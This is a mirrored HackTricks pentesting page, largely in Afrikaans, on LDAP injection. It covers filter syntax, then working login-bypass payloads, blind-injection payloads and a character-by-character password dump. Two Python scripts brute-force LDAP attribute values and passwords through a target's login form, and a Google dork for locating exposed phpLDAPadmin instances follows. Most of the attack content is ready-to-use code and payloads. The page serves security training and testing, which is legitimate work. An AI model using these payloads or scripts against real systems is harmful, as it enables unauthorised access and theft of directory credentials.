mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 22:18:27 +00:00
246 lines
9.1 KiB
Markdown
246 lines
9.1 KiB
Markdown
# LDAP Injection
|
|
|
|
## LDAP Injection
|
|
|
|
{% hint style="success" %}
|
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
|
|
|
|
{% embed url="https://www.stmcyber.com/careers" %}
|
|
|
|
## LDAP Injection
|
|
|
|
### **LDAP**
|
|
|
|
**As jy wil weet wat LDAP is, besoek die volgende bladsy:**
|
|
|
|
{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
|
|
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
|
|
{% endcontent-ref %}
|
|
|
|
**LDAP Injection** is 'n aanval wat webtoepassings teiken wat LDAP-verklarings uit gebruikersinvoer opstel. Dit gebeur wanneer die toepassing **nie behoorlik sanitiseer** invoer nie, wat aanvallers toelaat om **LDAP-verklarings te manipuleer** deur 'n plaaslike proxy, wat moontlik kan lei tot ongeoorloofde toegang of datamanipulasie.
|
|
|
|
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
|
|
|
**Filter** = ( filtercomp )\
|
|
**Filtercomp** = en / of / nie / item\
|
|
**En** = & filterlist\
|
|
**Of** = |filterlist\
|
|
**Nie** = ! filter\
|
|
**Filterlist** = 1\*filter\
|
|
**Item**= eenvoudig / teenwoordig / substring\
|
|
**Eenvoudig** = attr filtertype assertionvalue\
|
|
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
|
|
**Teenwoordig** = attr = \*\
|
|
**Substring** = attr ”=” \[begin] \* \[eindig]\
|
|
**Begin** = assertionvalue\
|
|
**Eindig** = assertionvalue\
|
|
**(&)** = Absolute WAAR\
|
|
**(|)** = Absolute VALSE
|
|
|
|
Byvoorbeeld:\
|
|
`(&(!(objectClass=Impresoras))(uid=s*))`\
|
|
`(&(objectClass=user)(uid=*))`
|
|
|
|
Jy kan toegang tot die databasis verkry, en dit kan inligting van 'n verskeidenheid verskillende tipes bevat.
|
|
|
|
**OpenLDAP**: As 2 filters aankom, voer slegs die eerste een uit.\
|
|
**ADAM of Microsoft LDS**: Met 2 filters gooi hulle 'n fout.\
|
|
**SunOne Directory Server 5.0**: Voer albei filters uit.
|
|
|
|
**Dit is baie belangrik om die filter met die korrekte sintaksis te stuur of 'n fout sal gegooi word. Dit is beter om slegs 1 filter te stuur.**
|
|
|
|
Die filter moet begin met: `&` of `|`\
|
|
Voorbeeld: `(&(directory=val1)(folder=public))`
|
|
|
|
`(&(objectClass=VALUE1)(type=Epson*))`\
|
|
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
|
|
|
|
Dan: `(&(objectClass=`**`*)(ObjectClass=*))`** sal die eerste filter wees (die een wat uitgevoer word).
|
|
|
|
### Login Bypass
|
|
|
|
LDAP ondersteun verskeie formate om die wagwoord te stoor: duidelik, md5, smd5, sh1, sha, crypt. So, dit kan wees dat ongeag wat jy binne die wagwoord invoer, dit gehashel word.
|
|
```bash
|
|
user=*
|
|
password=*
|
|
--> (&(user=*)(password=*))
|
|
# The asterisks are great in LDAPi
|
|
```
|
|
|
|
```bash
|
|
user=*)(&
|
|
password=*)(&
|
|
--> (&(user=*)(&)(password=*)(&))
|
|
```
|
|
|
|
```bash
|
|
user=*)(|(&
|
|
pass=pwd)
|
|
--> (&(user=*)(|(&)(pass=pwd))
|
|
```
|
|
|
|
```bash
|
|
user=*)(|(password=*
|
|
password=test)
|
|
--> (&(user=*)(|(password=*)(password=test))
|
|
```
|
|
|
|
```bash
|
|
user=*))%00
|
|
pass=any
|
|
--> (&(user=*))%00 --> Nothing more is executed
|
|
```
|
|
|
|
```bash
|
|
user=admin)(&)
|
|
password=pwd
|
|
--> (&(user=admin)(&))(password=pwd) #Can through an error
|
|
```
|
|
|
|
```bash
|
|
username = admin)(!(&(|
|
|
pass = any))
|
|
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
|
|
```
|
|
|
|
```bash
|
|
username=*
|
|
password=*)(&
|
|
--> (&(user=*)(password=*)(&))
|
|
```
|
|
|
|
```bash
|
|
username=admin))(|(|
|
|
password=any
|
|
--> (&(uid=admin)) (| (|) (webpassword=any))
|
|
```
|
|
#### Lyste
|
|
|
|
* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt)
|
|
* [LDAP Attribuut](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)
|
|
* [LDAP PosixAccount attribuut](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
|
|
|
|
### Blind LDAP Inspuiting
|
|
|
|
Jy kan vals of waar antwoorde afdwing om te kontroleer of enige data teruggestuur word en 'n moontlike Blind LDAP Inspuiting te bevestig:
|
|
```bash
|
|
#This will result on True, so some information will be shown
|
|
Payload: *)(objectClass=*))(&objectClass=void
|
|
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
|
|
```
|
|
|
|
```bash
|
|
#This will result on True, so no information will be returned or shown
|
|
Payload: void)(objectClass=void))(&objectClass=void
|
|
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
|
|
```
|
|
#### Dump data
|
|
|
|
Jy kan oor die ascii letters, syfers en simbole herhaal:
|
|
```bash
|
|
(&(sn=administrator)(password=*)) : OK
|
|
(&(sn=administrator)(password=A*)) : KO
|
|
(&(sn=administrator)(password=B*)) : KO
|
|
...
|
|
(&(sn=administrator)(password=M*)) : OK
|
|
(&(sn=administrator)(password=MA*)) : KO
|
|
(&(sn=administrator)(password=MB*)) : KO
|
|
...
|
|
```
|
|
### Scripts
|
|
|
|
#### **Ontdek geldige LDAP-velde**
|
|
|
|
LDAP-objekte **bevat standaard verskeie eienskappe** wat gebruik kan word om **inligting te stoor**. Jy kan probeer om **allemaal te brute-force om daardie inligting te onttrek.** Jy kan 'n lys van [**standaard LDAP-eienskappe hier**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt) vind.
|
|
```python
|
|
#!/usr/bin/python3
|
|
import requests
|
|
import string
|
|
from time import sleep
|
|
import sys
|
|
|
|
proxy = { "http": "localhost:8080" }
|
|
url = "http://10.10.10.10/login.php"
|
|
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
|
|
|
|
attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
|
|
|
|
for attribute in attributes: #Extract all attributes
|
|
value = ""
|
|
finish = False
|
|
while not finish:
|
|
for char in alphabet: #In each possition test each possible printable char
|
|
query = f"*)({attribute}={value}{char}*"
|
|
data = {'login':query, 'password':'bla'}
|
|
r = requests.post(url, data=data, proxies=proxy)
|
|
sys.stdout.write(f"\r{attribute}: {value}{char}")
|
|
#sleep(0.5) #Avoid brute-force bans
|
|
if "Cannot login" in r.text:
|
|
value += str(char)
|
|
break
|
|
|
|
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
|
|
finish = True
|
|
print()
|
|
```
|
|
#### **Spesiale Blinde LDAP Inspuiting (sonder "\*")**
|
|
```python
|
|
#!/usr/bin/python3
|
|
|
|
import requests, string
|
|
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
|
|
|
|
flag = ""
|
|
for i in range(50):
|
|
print("[i] Looking for number " + str(i))
|
|
for char in alphabet:
|
|
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
|
|
if ("TRUE CONDITION" in r.text):
|
|
flag += char
|
|
print("[+] Flag: " + flag)
|
|
break
|
|
```
|
|
### Google Dorks
|
|
```bash
|
|
intitle:"phpLDAPadmin" inurl:cmd.php
|
|
```
|
|
### Meer Payloads
|
|
|
|
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
|
|
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
As jy belangstel in **hacking loopbaan** en om die onhackbare te hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
|
|
|
|
{% embed url="https://www.stmcyber.com/careers" %}
|
|
|
|
{% hint style="success" %}
|
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Ondersteun HackTricks</summary>
|
|
|
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|